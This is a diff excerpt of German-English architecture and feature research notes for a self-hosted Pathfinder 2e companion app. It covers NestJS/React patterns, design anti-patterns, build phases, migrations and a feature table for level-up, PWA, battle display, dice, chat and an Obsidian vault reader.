**Beispiel:** Kopiervorlage `characters.gateway.ts` → JWT in `handshake.auth.token`, User-Lookup, Disconnect bei Fail. Für Battle-Display: zusätzlich `viewerMode` aus `handshake.auth` lesen und Sub-Room zuweisen.
|
||||
|
||||
### Pattern 3: Service-Method = Access-Check + Mutation + Broadcast
|
||||
**Wann:** Jede Mutation.
|
||||
**Beispiel:** `CharactersService.updateHp` Reihenfolge:
|
||||
1. `checkCampaignAccess(userId, campaignId)`
|
||||
2. `checkCharacterAccess(userId, characterId)`
|
||||
3. Prisma-Update
|
||||
4. `gateway.broadcast(...)`
|
||||
|
||||
### Pattern 4: WebSocket-Hook mit Singleton + Ref-Counting
|
||||
**Wann:** Jeder neue Frontend-WebSocket-Konsument.
|
||||
**Beispiel:** `use-dice-socket.ts` folgt Pattern aus `use-character-socket.ts` — globaler Socket pro Namespace, `subscriberCount` für Cleanup.
|
||||
|
||||
### Pattern 5: DTO-Validation mit class-validator
|
||||
**Wann:** Jeder neue Endpoint.
|
||||
**Beispiel:**
|
||||
```ts
|
||||
export class StartLevelUpDto {
|
||||
@IsString() @IsNotEmpty() characterId: string;
|
||||
}
|
||||
```
|
||||
|
||||
### Pattern 6: Service-Worker-Update via postMessage
|
||||
**Wann:** Wenn Live-Daten den Cache invalidieren sollen.
|
||||
**Beispiel:**
|
||||
```ts
|
||||
// shared/lib/sw-cache-bridge.ts
|
||||
export function invalidateSwCache(urls: string[]) {
|
||||
navigator.serviceWorker?.controller?.postMessage({type:'INVALIDATE', urls});
|
||||
}
|
||||
// In SW:
|
||||
self.addEventListener('message', (e) => {
|
||||
if (e.data?.type === 'INVALIDATE') {
|
||||
e.data.urls.forEach(url => caches.open('api-cache').then(c => c.delete(url)));
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Anti-Patterns to Avoid
|
||||
|
||||
### Anti-Pattern 1: Polymorphic-Table für Dice+Chat
|
||||
**Was:** Eine `Message`-Tabelle mit `type: TEXT|ROLL|SYSTEM` und 20 nullable Spalten.
|
||||
**Warum schlecht:** Spalten-Sparsity, jede neue MessageType-Variante explodiert das Schema, Pagination wird umständlich (DiceLog will nur Rolls, joint trotzdem alles), keine sauberen FK-Constraints.
|
||||
**Stattdessen:** Zwei Tabellen `DiceRoll` + `ChatMessage`, FK `embedRollId` für Embeds.
|
||||
|
||||
### Anti-Pattern 2: Display-Mode als React-Prop am gleichen Komponentenbaum
|
||||
**Was:** `<BattlePage mode="display" />` versteckt GM-Controls per CSS.
|
||||
**Warum schlecht:** GM-only-Daten landen via React Query im Display-Client. Devtools zeigen sie. Sicherheits-Leak.
|
||||
**Stattdessen:** Eigene Route + serverseitig gefiltertes DTO + Sub-Rooms im Gateway.
|
||||
|
||||
### Anti-Pattern 3: Service-Worker cached Mutationen
|
||||
**Was:** SW cached POST/PATCH-Responses oder ersetzt fehlgeschlagene Mutations durch optimistic offline-queue.
|
||||
**Warum schlecht:** PROJECT.md definiert „Offline-Bearbeiten ist explizit raus". Konflikt-Logik wäre teuer, Spielsessions sind online.
|
||||
**Stattdessen:** SW NetworkOnly für alle Mutationen. Offline-Mode = nur Lesen.
|
||||
|
||||
### Anti-Pattern 4: Roll-Berechnung im Client
|
||||
**Was:** Frontend würfelt `Math.random()` und schickt Ergebnis an Server.
|
||||
**Warum schlecht:** Spieler kann lokal manipulieren. PF2e-Werte (Crits, Persistent Damage) müssen autoritativ sein.
|
||||
**Stattdessen:** Server-side Roll. Client schickt nur `expression` + Kontext, Server würfelt + persistiert + broadcastet.
|
||||
|
||||
### Anti-Pattern 5: Vault-Credentials im Browser
|
||||
**Was:** WebDAV-User/Password im React-Code, Browser ruft Vault direkt.
|
||||
**Warum schlecht:** Token-Leak in Browser-Devtools, CORS-Konfig am Vault, Rotation unmöglich.
|
||||
**Stattdessen:** Vault-Creds in `.env` am NestJS-Server, Browser spricht nur via Dimension47-JWT mit `/vault/*`-Endpoints.
|
||||
|
||||
### Anti-Pattern 6: `db push` bei Schema-Änderung
|
||||
**Was:** Schnell-Fix bei Schema-Änderung mit `prisma db push`.
|
||||
**Warum schlecht:** Verstößt gegen CLAUDE.md, keine Versionierung, kann nicht ausgerollt werden.
|
||||
**Stattdessen:** Immer `prisma migrate dev --name <descriptive>`.
|
||||
|
||||
### Anti-Pattern 7: GM-Ping ohne Push-Subscription
|
||||
**Was:** GM-Ping nur als Toast im aufgemachten Browser-Tab.
|
||||
**Warum schlecht:** Spieler sieht es nicht, wenn Tab nicht aktiv ist. Use-Case ist gerade, dass Spieler aufmerksam wird.
|
||||
**Stattdessen:** Push-Notification via Service-Worker. Toast als zusätzlicher Inline-Hinweis, nicht als Ersatz.
|
||||
|
||||
---
|
||||
|
||||
## 7. Build Order / Dependencies (kritisch für Roadmap)
|
||||
|
||||
**Empfohlene Phasen-Reihenfolge** (begründet, nicht beliebig):
|
||||
|
||||
```
|
||||
Phase A: Level-Up
|
||||
├─ keine externen Abhängigkeiten
|
||||
├─ erweitert nur CharactersService + CharactersGateway (Bestand)
|
||||
├─ neues Modul LevelingModule, neue Migration LevelUpSession
|
||||
└─ kein PWA/Push nötig
|
||||
──> liefert: erstes komplettes neues Feature, validiert das Pattern „Bestand erweitern + neues Modul"
|
||||
|
||||
Phase B: PWA Foundation (ohne Push)
|
||||
├─ vite-plugin-pwa, manifest, service-worker, install-prompt
|
||||
├─ Caching-Strategien für existierende Endpoints
|
||||
├─ keine Backend-Änderungen
|
||||
└─ blockiert: Push (braucht SW), Vault-Offline-Cache (braucht SW)
|
||||
──> liefert: installierbare App, Offline-Read
|
||||
|
||||
Phase C: Web Push
|
||||
├─ braucht Phase B (Service-Worker existiert)
|
||||
├─ neues Modul PushModule, neue Migration PushSubscription
|
||||
├─ Permission-Prompt im Frontend
|
||||
└─ blockiert: GM-Ping in GM-Live-Tools, Battle-Turn-Alert
|
||||
──> liefert: Notification-Pfad steht
|
||||
|
||||
Phase D: Dice + Chat (parallel zu C möglich, aber nach B)
|
||||
├─ braucht keine Push (Toast für Inline-Anzeige reicht intern)
|
||||
├─ neue Module DiceModule, ChatModule, neue Migration add_dice_and_chat
|
||||
├─ neue Gateways /dice, /chat
|
||||
├─ neue UI-Panels
|
||||
└─ blockiert: Battle-Turn-Alert (kombiniert Dice mit Battle-Events)
|
||||
──> liefert: In-App-Würfel + Chat überall
|
||||
|
||||
Phase E: Battle-Ausbau (Display-Mode, Initiative-Tracker, Effekte)
|
||||
├─ braucht keine Push, aber profitiert von Phase D (Dice-Anbindung in Initiative)
|
||||
├─ erweitert BattleGateway um neue Events
|
||||
├─ neue Route /battle/:id/display, neuer DTO-Filter
|
||||
├─ neue Migration add_battle_effects + turnTokenId
|
||||
└─ blockiert: nichts
|
||||
──> liefert: zwei sichere Sichten auf den Battle, vollständiger Initiative-Flow
|
||||
|
||||
Phase F: GM-Live-Tools
|
||||
├─ braucht Phase C (Push für GM-Ping) + Phase D (Chat für gezielte Nachrichten)
|
||||
├─ kein neues Backend-Modul, kein neues Schema
|
||||
├─ neue UI: gm-control-panel, GM-Mode in bestehenden Modals
|
||||
└─ blockiert: nichts
|
||||
──> liefert: GM hat zentrales Cockpit
|
||||
|
||||
Phase G: Obsidian-Vault
|
||||
├─ braucht Phase B (SW für Offline-Cache der Notes)
|
||||
├─ neues Modul VaultModule, neue Migration add_vault_config + VaultNoteCache
|
||||
├─ neue Routen + neuer Frontend-Bereich
|
||||
├─ unabhängig vom Rest
|
||||
└─ blockiert: nichts
|
||||
──> liefert: Read-Only Vault im Browser
|
||||
```
|
||||
|
||||
**Dependency-Graph:**
|
||||
```
|
||||
A (Level-Up) ──── unabhängig
|
||||
B (PWA) ──── unabhängig ─┐
|
||||
C (Push) ──── braucht B │
|
||||
D (Dice/Chat) ──── unabhängig ├── nichts blockiert E zwingend, aber D hilft Initiative
|
||||
E (Battle-Ausbau) ──── (nutzt D opt) │
|
||||
F (GM-Live-Tools) ──── braucht C, D ─┘
|
||||
G (Vault) ──── braucht B
|
||||
```
|
||||
|
||||
**Anti-Reihenfolge (zu vermeiden):**
|
||||
- Push vor PWA → ohne SW kein Push, Hängepartie.
|
||||
- GM-Live-Tools vor Push/Chat → halbe Lösung, GM-Ping fehlt.
|
||||
- Battle-Display vor Dice → User-Test zeigt: ohne sichtbare Initiative-Rolls fehlt Wert.
|
||||
|
||||
---
|
||||
|
||||
## 8. Integration mit Bestand: Was wird wo angefasst
|
||||
|
||||
### Migration-Liste (in der Reihenfolge unten ausführen)
|
||||
|
||||
| # | Migration | Phase | Modelle |
|
||||
|---|---|---|---|
|
||||
| 1 | `add_level_up_sessions` | A | LevelUpSession |
|
||||
| 2 | `add_push_subscriptions` | C | PushSubscription |
|
||||
| 3 | `add_dice_and_chat` | D | DiceRoll, ChatMessage |
|
||||
| 4 | `add_battle_effects_and_turn_pointer` | E | BattleEffect, BattleSession.turnTokenId |
|
||||
| 5 | `add_vault_config` | G | VaultConfig, VaultNoteCache |
|
||||
|
||||
### Bestandsdateien, die geändert werden (nicht neu)
|
||||
|
||||
| Datei | Phase | Änderung |
|
||||
|---|---|---|
|
||||
| `server/src/app.module.ts` | A,C,D,G | Neue Module importieren (LevelingModule, PushModule, DiceModule, ChatModule, VaultModule) |
|
||||
| `server/src/modules/characters/characters.service.ts` | A | Neue Methoden `applyLevelUp`, `recomputeDerivedStats` |
|
||||
| `server/src/modules/characters/characters.gateway.ts` | A | Update-Type `'level_up_committed'` ergänzen |
|
||||
| `server/src/modules/battle/battle.gateway.ts` | E | Sub-Rooms (`:gm`, `:display`), neue Events `effect_*`, `turn_advanced` |
|
||||
| `server/src/modules/battle/battle.service.ts` | E | CRUD für `BattleEffect`, Turn-Pointer setzen |
|
||||
| `server/prisma/schema.prisma` | A,C,D,E,G | Neue Modelle ergänzen + `BattleSession.turnTokenId`, `BattleToken.effects` |
|
||||
| `client/src/App.tsx` | E,G | Neue Routen `/battle/display`, `/vault`, `/vault/*` |
|
||||
| `client/vite.config.ts` | B | `vite-plugin-pwa`-Konfig |
|
||||
| `client/public/manifest.webmanifest` | B | Neu anlegen |
|
||||
| `client/src/features/auth/hooks/use-auth-store.ts` | B | Bei `logout()` SW-Cache leeren |
|
||||
| `client/src/features/characters/components/character-sheet-page.tsx` | A | „Stufe steigen"-Button + Wizard-Mount |
|
||||
| `client/src/features/battle/components/battle-page.tsx` | E | Initiative-Tracker mounten, Effects-Toolbar, „Display öffnen"-Button |
|
||||
| `client/src/shared/lib/api.ts` | A,C,D,G | Neue API-Calls (Leveling, Push, Dice, Chat, Vault) |
|
||||
| `client/src/shared/types/index.ts` | A,C,D,E,G | Neue Interfaces |
|
||||
|
||||
### Net-neue Dateien (zentrale Übersicht)
|
||||
|
||||
```
|
||||
server/src/modules/leveling/
|
||||
leveling.module.ts, leveling.controller.ts, leveling.service.ts
|
||||
dto/start-level-up.dto.ts, dto/update-draft.dto.ts
|
||||
|
||||
server/src/modules/push/
|
||||
push.module.ts, push.controller.ts, push.service.ts
|
||||
dto/subscribe.dto.ts
|
||||
|
||||
server/src/modules/dice/
|
||||
dice.module.ts, dice.controller.ts, dice.service.ts, dice.gateway.ts
|
||||
utils/parse-pf2e-notation.ts (server-seitig autoritativ)
|
||||
dto/roll.dto.ts
|
||||
|
||||
server/src/modules/chat/
|
||||
chat.module.ts, chat.controller.ts, chat.service.ts, chat.gateway.ts
|
||||
dto/send-message.dto.ts
|
||||
|
||||
server/src/modules/vault/
|
||||
vault.module.ts, vault.controller.ts, vault.service.ts
|
||||
utils/wikilink-resolver.ts, utils/webdav-client.ts (oder Adapter pro Transport)
|
||||
dto/vault-config.dto.ts
|
||||
|
||||
client/src/features/leveling/
|
||||
components/level-up-wizard.tsx + step-*.tsx
|
||||
hooks/use-level-up-session.ts
|
||||
index.ts
|
||||
|
||||
client/src/features/push/
|
||||
components/notification-permission-prompt.tsx
|
||||
hooks/use-push-subscription.ts
|
||||
index.ts
|
||||
|
||||
client/src/features/dice/
|
||||
components/dice-roller.tsx, dice-log.tsx
|
||||
utils/parse-pf2e-notation.ts (Client-Spiegel, nur fürs Pre-Validation)
|
||||
index.ts
|
||||
|
||||
client/src/features/chat/
|
||||
components/chat-panel.tsx, message-card.tsx
|
||||
index.ts
|
||||
|
||||
client/src/features/vault/
|
||||
components/vault-browser-page.tsx, vault-note-page.tsx, note-renderer.tsx
|
||||
utils/wikilink-plugin.ts
|
||||
hooks/use-vault-note.ts
|
||||
index.ts
|
||||
|
||||
client/src/features/battle/components/
|
||||
battle-display-page.tsx, initiative-tracker.tsx, effect-pill.tsx, effect-add-modal.tsx
|
||||
|
||||
client/src/shared/hooks/
|
||||
use-dice-socket.ts, use-chat-socket.ts, use-pwa-update.ts
|
||||
|
||||
client/src/shared/lib/
|
||||
sw-cache-bridge.ts
|
||||
|
||||
client/src/sw/
|
||||
service-worker.ts (Workbox-customized)
|
||||
|
||||
client/public/
|
||||
manifest.webmanifest
|
||||
icons/pwa-192.png, pwa-512.png, pwa-maskable-512.png
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. Scalability-Betrachtung (kontextspezifisch)
|
||||
|
||||
| Concern | Single Group (4-6 User, aktueller Use-Case) | 10 Gruppen (selbst-gehostete Forks) | Anmerkung |
|
||||
|---|---|---|---|
|
||||
| WebSocket-Connections | <30 gleichzeitig | <300 | Socket.io single-server reicht klar |
|
||||
| DiceRoll-Volumen | ~200/Session, ~2k/Monat | ~20k/Monat | Index `(campaignId, createdAt)` reicht; kein Archivierungsdruck |
|
||||
| ChatMessage-Volumen | <1k/Session | <10k/Monat | identisch |
|
||||
| PushSubscription-Volumen | ~10 Devices | ~100 | Trivial |
|
||||
| Vault-Cache-Größe | <100MB pro Campaign | <1GB | DB-storage, alternativ FS-cache; bei >1GB FS-Cache erwägen |
|
||||
| Multi-Tenant | nicht gefordert (Out-of-Scope) | nicht gefordert | self-hosted-Modell |
|
||||
|
||||
Keine horizontale Skalierung nötig. Single-Server reicht. Bei späterem Multi-Tenant müsste Socket.io mit Redis-Adapter laufen — explizit Out-of-Scope.
|
||||
|
||||
---
|
||||
|
||||
## 10. Sources
|
||||
|
||||
- `.planning/codebase/ARCHITECTURE.md` — Bestand der Layer und Patterns (Primärquelle, HIGH)
|
||||
- `.planning/codebase/STRUCTURE.md` — Verzeichnis-Konventionen (HIGH)
|
||||
- `.planning/codebase/INTEGRATIONS.md` — Auth, WebSocket, Pathbuilder (HIGH)
|
||||
- `.planning/PROJECT.md` — Constraints, Out-of-Scope, Validated/Active (HIGH)
|
||||
- `server/prisma/schema.prisma` — bestehende Modelle, Beziehungen (HIGH)
|
||||
- `server/src/modules/characters/characters.gateway.ts`, `battle/battle.gateway.ts` — bestehende Gateway-Patterns (HIGH)
|
||||
- `server/src/app.module.ts` — Modul-Wiring (HIGH)
|
||||
- `client/src/App.tsx` — Routing-Konvention (HIGH)
|
||||
- Web Push Spec / VAPID — RFC 8030 + RFC 8292 (Standard, MEDIUM, allgemein bekannt)
|
||||
- Workbox/vite-plugin-pwa — etabliertes Pattern für Vite-Apps (MEDIUM)
|
||||
- Socket.io Rooms + Namespaces — bekannte Standards (HIGH, identisch mit Bestandsnutzung)
|
||||
|
||||
---
|
||||
|
||||
*Architecture research: 2026-04-27 — additive design, respektiert NestJS-Modul-Schnitt und React-Feature-Schnitt des Bestands.*
|
||||
313
.planning/research/FEATURES.md
Normal file
313
.planning/research/FEATURES.md
Normal file
@@ -0,0 +1,313 @@
|
||||
# Feature Research
|
||||
|
||||
**Domain:** PF2e TTRPG companion app — next milestone (Level-Up + PWA + Battle-Display + Dice/Chat + GM Live Tools + Obsidian Vault)
|
||||
**Researched:** 2026-04-27
|
||||
**Confidence:** HIGH (PF2e rules + PWA tech are HIGH; competitor UX details are MEDIUM)
|
||||
|
||||
## Scope Note
|
||||
|
||||
This is a **subsequent milestone** for an existing app. Already-shipped features (HP, conditions, skills, saves, inventory, alchemy, rest, alchemy-tab, character-import, battle-MVP, GM-library, JWT-auth) are NOT re-evaluated here. The categorization below applies **only to the new milestone scope**.
|
||||
|
||||
The bar for "table stakes" is calibrated to the actual user — the **own gaming group at the table**. Things that would be table-stakes for a public SaaS (multi-tenant onboarding, account recovery flows, etc.) are not table-stakes here.
|
||||
|
||||
## Feature Landscape
|
||||
|
||||
### Table Stakes (Without these, the milestone fails its goal)
|
||||
|
||||
#### Level-Up System
|
||||
|
||||
| Feature | Why Expected | Complexity | Notes |
|
||||
|---------|--------------|------------|-------|
|
||||
| **Attribute Boosts at level 5/10/15/20** (4 free boosts; +2 to four different attributes, capped at +4 / 18) | PF2e core rule, every PF2e tool implements it | MEDIUM | Trigger HP-Max recompute on CON-Boost; +1 trained skill on INT-Boost |
|
||||
| **Class feat at every even level** (2, 4, 6, 8, 10, 12, 14, 16, 18, 20) | PF2e core rule | HIGH | Filter by class + level + prerequisites; many feats have multi-condition prereqs (skill rank, other feat, ancestry) |
|
||||
| **Skill feat at every even level** (2, 4, 6, ...) | PF2e core rule | MEDIUM | Filter by skill rank prereq; some require Trained/Expert/Master/Legendary in named skill |
|
||||
| **General feat every 4 levels** (3, 7, 11, 15, 19) | PF2e core rule | MEDIUM | Skill feats ALSO count as general feats (one-way) |
|
||||
| **Skill increase at level 3 and every 2 levels thereafter** (3, 5, 7, 9, 11, 13, 15, 17, 19) | PF2e core rule, Rogues earlier/more | MEDIUM | Untrained→Trained, Trained→Expert (level 3+), Expert→Master (level 7+), Master→Legendary (level 15+) |
|
||||
| **Ancestry feat at level 5, 9, 13, 17** | PF2e core rule | MEDIUM | Filter by ancestry, heritage, prerequisites |
|
||||
| **Class features per class table** (e.g. Fighter Bravery at 3, Weapon Mastery at 5, etc.) | PF2e core rule, class-specific | HIGH | Per-class lookup table; some grant additional choices (e.g. specialization) |
|
||||
| **Prerequisite validation** (e.g. "Trained in Athletics required") | Without this it's not "regelkonform" | HIGH | Need to evaluate prerequisite expressions: skill rank, feat ownership, level, ancestry, deity, spellcasting tradition |
|
||||
| **Auto-recompute derived stats** (HP-Max, Save proficiency increases, AC proficiency, Class DC) | Core promise of "regelkonform" — values must be correct after Level-Up | HIGH | Class-specific proficiency progression tables; HP-Max = ancestry HP + (class HP + CON-Mod) × Level |
|
||||
| **Undo / Cancel before commit; commit creates change record** | Already in PROJECT.md as requirement; users will misclick | MEDIUM | Implement as draft state; on commit, write all changes atomically |
|
||||
| **Free Archetype variant rule** (extra archetype-only feat at every even level) | Group's preferred PF2e variant; Pathbuilder + Foundry's PF2e Leveler both support it | MEDIUM | Toggle per character; second feat slot, restricted to archetype feats only |
|
||||
| **Spellcaster slot/cantrip progression on Level-Up** | Spellcasters need correct slot tables to play | HIGH | Per-tradition progression; spell repertoire/preparation also needs increment for spontaneous casters |
|
||||
|
||||
#### PWA
|
||||
|
||||
| Feature | Why Expected | Complexity | Notes |
|
||||
|---------|--------------|------------|-------|
|
||||
| **Web App Manifest + Icons + Splash + Service Worker registration** | Without manifest, app can't be installed | LOW | Standard Vite PWA plugin (`vite-plugin-pwa`) handles boilerplate |
|
||||
| **Cache-first read of own character sheet (offline)** | "Always-on companion at the table" with flaky table Wi-Fi | MEDIUM | Cache GET responses for `/characters/:id`, `/equipment/:id`, `/feats/:id` etc.; show "offline" indicator |
|
||||
| **"Add to Home Screen" prompt** (Android automatic via `beforeinstallprompt`, iOS guided manual) | Without it users won't install and miss push | LOW | iOS needs in-app instruction overlay since no programmatic prompt — see PITFALLS |
|
||||
| **Web Push for GM→player ping** (turn alert, dice request, custom message) | Whole point of having a PWA at the table | HIGH | VAPID keys, Service Worker `push` event handler, Push subscription persisted per device, opt-in flow per user |
|
||||
|
||||
#### Multi-Screen Battle Display
|
||||
|
||||
| Feature | Why Expected | Complexity | Notes |
|
||||
|---------|--------------|------------|-------|
|
||||
| **Read-only Display-Mode route** (e.g. `/battle/:id/display`) | Existing battle page is GM-only mixed; table screen needs a "no controls" view | MEDIUM | Same WebSocket subscription, conditionally hide drag handles + controls; optimize layout for landscape table screen |
|
||||
| **Display-Mode auth model** (player or shared GM session, no controls) | Tisch-Display likely runs as a shared/auto-login terminal | MEDIUM | Either anonymous read-only via session token OR dedicated "display" pseudo-user with read-only role |
|
||||
| **Initiative Tracker as sortable list with current-turn highlight** | Currently only badges on tokens; players need to see "wer ist dran" at a glance from across the table | LOW-MEDIUM | Sorted list; large-font for table-display readability; "next" button on GM side; advances turn via WebSocket event |
|
||||
| **Token effects/conditions/auras on Display-Mode** | Players need to see "I'm flat-footed and frightened 2" without asking GM | MEDIUM | Already have conditions on character; need same model on tokens; per-token condition list rendered on/near token + in init list |
|
||||
| **Token add/remove broadcast as WebSocket event** (not just query-invalidate) | Currently mid-battle changes desync until refresh | LOW | Existing gateway pattern; add `token:added` / `token:removed` events |
|
||||
|
||||
#### Dice + Chat
|
||||
|
||||
| Feature | Why Expected | Complexity | Notes |
|
||||
|---------|--------------|------------|-------|
|
||||
| **In-app dice with PF2e notation (`1d20+7`, `2d6+3`)** | Primary play mechanic; no external dice tabs | MEDIUM | Use `@dice-roller/rpg-dice-roller` or `dice-notation-js`; standard d4/6/8/10/12/20/100 |
|
||||
| **Crit success / crit failure flagging** (PF2e: nat 20 / +10 / +0 / -10) | PF2e's defining mechanic — degree of success | MEDIUM | Compare result vs DC; degree-of-success calc lives in app (not in dice lib) |
|
||||
| **Roll log per campaign + per battle, visible to all** | Without log, contested rolls become arguments | LOW | Append-only log table; WebSocket broadcast on new roll |
|
||||
| **Roll attribution** (who rolled, what for, when) | Logs without attribution are useless | LOW | User + character + label (e.g. "Athletics Check") + timestamp |
|
||||
| **In-game chat per campaign + per battle** | GM/player coordination during play | LOW-MEDIUM | Append-only message table; same WebSocket pattern; rendered with roll embeds inline |
|
||||
|
||||
#### GM Live Tools
|
||||
|
||||
| Feature | Why Expected | Complexity | Notes |
|
||||
|---------|--------------|------------|-------|
|
||||
| **GM can set HP / damage / heal on player character** | Already infra exists; just needs GM-facing UI | LOW | Reuse existing `character:update` events; add GM permission check + "GM action" log entry |
|
||||
| **GM can add/remove/update conditions on player character** | Same | LOW | Reuse existing condition gateway events |
|
||||
| **GM can give item to player character** | Loot distribution | LOW | Reuse existing inventory events; pick from equipment DB |
|
||||
| **GM can adjust money (credits)** | Loot/cost management | LOW | Reuse existing money events |
|
||||
| **GM can send push/chat ping to specific player(s) or all** | "Du bist dran" workflow | MEDIUM | Combines push (Web Push) with in-app chat — see Pitfalls about double-delivery |
|
||||
|
||||
#### Obsidian Vault Read-Only
|
||||
|
||||
| Feature | Why Expected | Complexity | Notes |
|
||||
|---------|--------------|------------|-------|
|
||||
| **Markdown rendering** (CommonMark + GFM tables/code blocks/images) | Bare-minimum vault reader | LOW | `react-markdown` + `remark-gfm` + `rehype-sanitize` |
|
||||
| **Wikilinks `[[Note]]` and `[[Note\|Alias]]`** | Obsidian's primary linking syntax — without this, every link is broken | MEDIUM | `@portaljs/remark-wiki-link` or `@flowershow/remark-wiki-link` (handles shortest-path) |
|
||||
| **Image embeds `![[image.png]]`** | Notes are useless if maps/illustrations don't render | MEDIUM | Custom remark plugin or extension of wiki-link; serve via vault endpoint |
|
||||
| **Folder tree navigation** | Vaults aren't flat; navigation must mirror structure | LOW | Tree control over directory listing endpoint |
|
||||
| **Full-text search** | Vaults grow large; finding "the inn name" without search is painful | MEDIUM | Server-side grep-like or `flexsearch`-style index over markdown body; Postgres FTS is acceptable |
|
||||
| **Cache last-N read notes for offline** | "I want to look up that NPC" while at the table without Wi-Fi | MEDIUM | Service-Worker cache-on-read with LRU eviction; server stays source-of-truth |
|
||||
|
||||
### Differentiators (would make Dimension47 noticeably better than Pathbuilder/Foundry/Owlbear for this group)
|
||||
|
||||
| Feature | Value Proposition | Complexity | Notes |
|
||||
|---------|-------------------|------------|-------|
|
||||
| **German UI everywhere — including PF2e rules text** | Pathbuilder is English-only; Foundry's PF2e is partial-German with Babele/translation modules. Dimension47 already has a translation pipeline (Claude-API cached) | MEDIUM | Extend existing translation cache to feats and class-features text on Level-Up |
|
||||
| **One-screen, integrated experience** (character sheet ↔ battle ↔ vault notes ↔ chat) without context-switching apps | At the table users today juggle Pathbuilder + Discord + Obsidian + a dice-roller — all in one app reduces friction | MEDIUM | Architecture choice: deep-linking + state-preserving navigation; vault note can be opened side-by-side with character |
|
||||
| **PF2e dice with degree-of-success + auto-condition application** (e.g. "Frightened 1 on critical hit with X spell") | Most VTTs roll dice but leave degree-of-success and condition-application to player; auto-application removes one-step-per-attack friction | HIGH | Spell/attack-templates with embedded "on-hit"/"on-crit" effects; data model heavy — defer to v1.x |
|
||||
| **Animated transition: GM "Du bist dran" ping → player phone vibrates → in-app initiative-card pop-up** | Combines push + visual + haptic; nobody else does it well at-the-table because nobody else is PWA-first | MEDIUM | Layer Web Push + Vibration API + in-app modal |
|
||||
| **Battle-Display dark/cinematic mode** (large initiative card for active turn, dimmed for off-turn) | The table screen is part of the table aesthetic; sterile Foundry UI breaks immersion | LOW | CSS-only theme variant for `/battle/:id/display` route |
|
||||
| **Vault note → character "see also" chips** (note marked with frontmatter `npc: true` shows as hoverable chip in chat / battle) | Connects worldbuilding (Obsidian) to play (battle/chat) without manual lookup | HIGH | Frontmatter parsing + tag/type indexing; defer to v1.x |
|
||||
| **Roll history per character is exportable** (matches existing HTML-export ethos) | Group keeps session memory beyond runtime | LOW | Reuse export-character-html pattern |
|
||||
| **Offline-cached vault search** (FlexSearch index served as static asset for installed PWA) | Read-and-search Obsidian notes with zero connectivity | HIGH | Build-step or on-demand index download; defer to v1.x or call out as risky |
|
||||
| **GM can assign initiative roll-prompt** ("Roll Initiative for Perception" → all players get push + dice button pre-populated) | Removes 30-second "everyone roll initiative" coordination at the table | MEDIUM | Combines GM-tools + dice + push |
|
||||
|
||||
### Anti-Features (Commonly tempting, deliberately NOT building)
|
||||
|
||||
| Feature | Why Tempting | Why Problematic | Alternative |
|
||||
|---------|--------------|-----------------|-------------|
|
||||
| **Bidirectional Obsidian sync** (write-back from app to vault) | "Wouldn't it be great to edit notes from phone too" | Conflict resolution is its own product; group already uses Obsidian on desktop for editing | Read-only is explicitly in PROJECT.md Out of Scope |
|
||||
| **Offline editing with sync queue** (offline character changes that re-sync later) | Looks pro, modern PWAs have it | Two players editing same character offline = last-write-wins corruption; complexity vs value at the table is bad — game is online anyway | PROJECT.md already excludes this; offline is read-only |
|
||||
| **Native app (Capacitor / React Native wrapper)** | "Better push reliability, better install UX, app-store presence" | App-store overhead, build pipelines, two more codebases. PWA solves 95 % of need | PWA + careful Service-Worker; iOS Safari supports installed-PWA Push since 16.4 |
|
||||
| **In-app character creation from scratch** | "Why force users out to Pathbuilder?" | Pathbuilder is a 5-year-mature character builder; rebuilding it duplicates years of work for one-time-per-character benefit | Pathbuilder import stays. Level-Up in app handles ongoing changes |
|
||||
| **Generic VTT (other systems, D&D 5e, etc.)** | "More users" | Self-hosted for own group; data model is PF2e-specific (action-economy, proficiency tiers, archetypes); generalizing kills sharpness | Keep PF2e-only |
|
||||
| **Public multi-tenant SaaS / signup flow** | Default mental model for "web app" | Self-hosted for own group; account-onboarding is 0-value | No public registration; ADMIN provisions accounts |
|
||||
| **Presence indicators** ("Alex is viewing the map", "Spieler X tippt...") | Social-app default | Real value tiny vs WebSocket complexity, especially with mobile screen-locks | PROJECT.md already excludes this |
|
||||
| **Fog of War on battle map** | Owlbear/Foundry have it | Group plays in-person with 3D minis on a table screen; fog of war with a flat overhead in-person doesn't make sense | Already out-of-scope in PROJECT.md |
|
||||
| **Voice chat / video** | Discord-replacement temptation | Discord works fine; reinventing it costs a milestone for zero gain | Use existing Discord |
|
||||
| **3D dice physics** (rolling animation, ringtone) | Feels premium | Burns CPU on mobile, distracts from in-person play, every player has real dice on the table anyway | Plain text "rolled 17" with crit-color highlight |
|
||||
| **Real-time collaborative vault editing** (Obsidian Live-style) | Trendy | Group edits Obsidian on desktop; collaborative-CRDT for Markdown is a quarter-of-engineering for unclear gain | Read-only stays read-only |
|
||||
| **AI-generated NPCs / encounters** | LLM hype | Out of scope; group's GM has Obsidian for prep | Vault read is enough |
|
||||
| **Dynamic lighting** (Foundry's flagship feature) | "Looks like a real VTT" | In-person with table screen and minis; lighting is the room's lighting | No |
|
||||
| **Token vision / line-of-sight calc** | Same | Same — minis on a table | No |
|
||||
| **Auto-applying attack rolls to enemy HP** | "PF2e is so click-heavy, just automate it!" | High data-model cost (every attack-feat needs structured "on hit"/"on crit"/save-DC linking); error-recovery is messy when GM disagrees | GM applies HP changes manually via Live-Tools — already in-scope |
|
||||
| **Marketplace for community NPCs / maps** | "GMs would love to share" | Group of 1 GM + N players; library is internal; sharing is out-of-scope (self-hosted, single-tenant) | GM-Library is internal-only |
|
||||
|
||||
## Feature Dependencies
|
||||
|
||||
```
|
||||
PWA Manifest + Service Worker
|
||||
├──enables──> Web Push
|
||||
│ └──used-by──> GM "Du bist dran" ping
|
||||
│ └──used-by──> Dice-roll-request push
|
||||
└──enables──> Offline-cache
|
||||
├──used-by──> Character sheet offline read
|
||||
└──used-by──> Vault notes offline read
|
||||
|
||||
Web Push subscription endpoint persistence
|
||||
└──requires──> Per-user device-list table (server-side)
|
||||
|
||||
Level-Up system
|
||||
├──requires──> Feat-prerequisite evaluator (DSL or interpreter)
|
||||
├──requires──> Class-progression-table data (per-class proficiency by level)
|
||||
├──requires──> Boost-cap recomputation (HP, save bonuses, AC)
|
||||
└──enables──> "Level" WebSocket event already exists, Level-Up can broadcast
|
||||
|
||||
Battle Display-Mode read-only route
|
||||
├──requires──> Auth model decision (anon-token vs display-pseudo-user)
|
||||
├──requires──> Token-effect data model (new schema)
|
||||
└──requires──> WebSocket event for token-add/remove (not query-invalidate)
|
||||
|
